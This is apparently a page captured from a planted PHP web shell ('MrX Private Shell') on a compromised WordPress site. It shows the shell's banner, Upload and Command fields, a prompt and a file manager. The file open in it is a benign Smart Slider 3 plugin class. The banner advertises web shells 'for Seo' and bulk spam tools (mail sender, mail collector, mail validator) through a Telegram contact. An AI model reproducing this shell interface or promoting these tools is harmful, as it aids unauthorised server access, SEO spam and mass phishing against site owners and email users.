__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php


namespace Nextend\SmartSlider3\Widget\Shadow\ShadowImage;


use Nextend\Framework\Form\Element\Radio\ImageListFromFolder;
use Nextend\Framework\Form\Element\Text\FieldImage;
use Nextend\Framework\Form\Fieldset\FieldsetRow;
use Nextend\SmartSlider3\Widget\Shadow\AbstractWidgetShadow;

class ShadowImage extends AbstractWidgetShadow {

    protected $defaults = array(
        'widget-shadow-position-mode'  => 'simple',
        'widget-shadow-position-area'  => 12,
        'widget-shadow-position-stack' => 3,
        'widget-shadow-shadow-image'   => '',
        'widget-shadow-shadow'         => '$ss$/plugins/widgetshadow/shadow/shadow/shadow/dark.png'
    );

    public function renderFields($container) {

        $row1        = new FieldsetRow($container, 'widget-shadow-row-1');
        $fieldShadow = new ImageListFromFolder($row1, 'widget-shadow-shadow', n2_('Shadow'), '', array(
            'folder'      => self::getAssetsPath() . '/shadow/',
            'width'       => 582,
            'column'      => 1,
            'hasDisabled' => false
        ));
    }

    public function prepareExport($export, $params) {
        $export->addImage($params->get($this->key . 'shadow-image', ''));
    }

    public function prepareImport($import, $params) {

        $params->set($this->key . 'shadow-image', $import->fixImage($params->get($this->key . 'shadow-image', '')));
    }
}

Filemanager

Name Type Size Permission Actions
ShadowImage.php File 1.37 KB 0664
ShadowImageFrontend.php File 2.07 KB 0664
Filemanager